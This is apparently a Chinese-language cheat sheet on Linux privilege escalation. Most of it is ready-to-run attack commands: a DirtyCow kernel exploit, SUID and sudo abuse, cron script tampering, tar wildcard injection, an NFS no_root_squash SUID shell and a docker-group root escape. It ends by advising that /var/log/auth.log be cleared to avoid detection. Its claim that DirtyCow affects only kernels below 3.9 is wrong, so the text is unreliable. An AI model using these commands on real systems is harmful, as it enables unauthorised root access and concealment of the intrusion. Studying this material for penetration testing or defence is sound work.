Linux Exploit提权方法与实战步骤
Linux系统提权是通过利用系统漏洞、配置错误或权限设计缺陷,从低权限用户(如普通用户)提升至root(最高权限)的过程,是渗透测试或安全研究中的关键环节。以下是常见的提权方法及详细操作步骤:
内核漏洞提权是利用Linux内核本身的缺陷(如竞争条件、缓冲区溢出等)获取root权限的经典方法,适用于大多数本地提权场景。
uname -a
(查看内核版本、架构)、cat /etc/os-release
(查看发行版)、cat /etc/issue
(查看系统版本)命令,获取目标系统的内核及发行版信息。searchsploit
工具(Kali Linux自带)搜索对应内核版本的漏洞,例如searchsploit linux 4.4.0
(替换为目标内核版本),筛选出可用的本地提权EXP(如CVE编号对应的C文件)。python3 -m http.server
搭建临时HTTP服务器,再用wget
下载),使用gcc
编译(如gcc exploit.c -o exploit
),最后执行./exploit
获取root shell。DirtyCow是Linux内核内存子系统的竞争条件漏洞,影响版本为Linux kernel < 3.9(CentOS 7/RHEL 7及以下、Ubuntu 16.04及以下等),允许低权限用户修改只读内存映射,进而提权。
searchsploit dirtycow
找到对应C文件);gcc -pthread dirty.c -o dirty -lcrypt
);./dirty
),成功后会返回root shell。SUID(Set User ID)是Linux的特殊权限,允许用户执行文件时临时获得文件所有者的权限(如root)。若SUID程序存在配置错误或可被滥用,可用来提权。
使用以下命令查找系统中所有设置了SUID位的文件(重点关注root所有的程序):
find / -perm -u=s -type f 2>/dev/null
或 find / -user root -perm -4000 -exec ls -ldb {} \;
。
-exec
选项执行任意命令,例如find /tmp -exec /bin/sh -p \; -quit
(-p
参数确保以root权限启动shell)。vim.tiny -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
。bash -p
(-p
参数忽略环境变量限制)。sudo是允许普通用户以root权限执行命令的工具,若/etc/sudoers
文件配置不当(如允许用户无密码执行所有命令),可用来提权。
使用sudo -l
命令查看当前用户的sudo权限,若输出中包含NOPASSWD:ALL
(如test ALL=(ALL:ALL) NOPASSWD:ALL
),则表示该用户可无密码执行任意root命令。
若存在NOPASSWD:ALL
权限,直接执行sudo /bin/bash
或sudo su -
,即可切换至root用户。
计划任务(Cron)是系统定期执行的脚本或命令,若任务脚本存在可写权限或通配符注入漏洞,可用来提权。
使用以下命令查看系统计划任务:
cat /etc/crontab
(系统级计划任务)、ls -la /etc/cron*/
(用户级计划任务)、crontab -l
(当前用户的计划任务)。
/etc/cron.daily/test.sh
)可写,可向脚本中添加提权命令(如echo 'chmod u+s /bin/bash' >> /etc/cron.daily/test.sh
),等待任务执行后获取root权限。tar czf /backups/backup.tar.gz *
),可通过创建特殊文件(如touch -- '--checkpoint=1 --checkpoint-action=exec=/bin/sh'
),触发通配符注入执行任意命令。NFS(网络文件系统)是用于共享文件的服务,若共享目录开启了no_root_squash
选项(默认关闭),客户端以root用户访问共享目录时,将拥有root权限。
mkdir /tmp/mount
),使用mount -t nfs <目标IP>:/共享目录 /tmp/mount
挂载目标NFS共享。cp /bin/bash /tmp/mount/shell
、chmod u+s /tmp/mount/shell
)。/tmp/mount/shell -p
,即可获取root shell。Docker是常用的容器化工具,若当前用户在docker
组(可通过id | grep docker
检查),可利用Docker挂载根目录并切换至root。
docker run -v /:/mnt -it alpine chroot /mnt bash
)。/mnt
即为目标的根目录,执行chroot /mnt bash
即可切换至root用户。/var/log/auth.log
),避免被发现。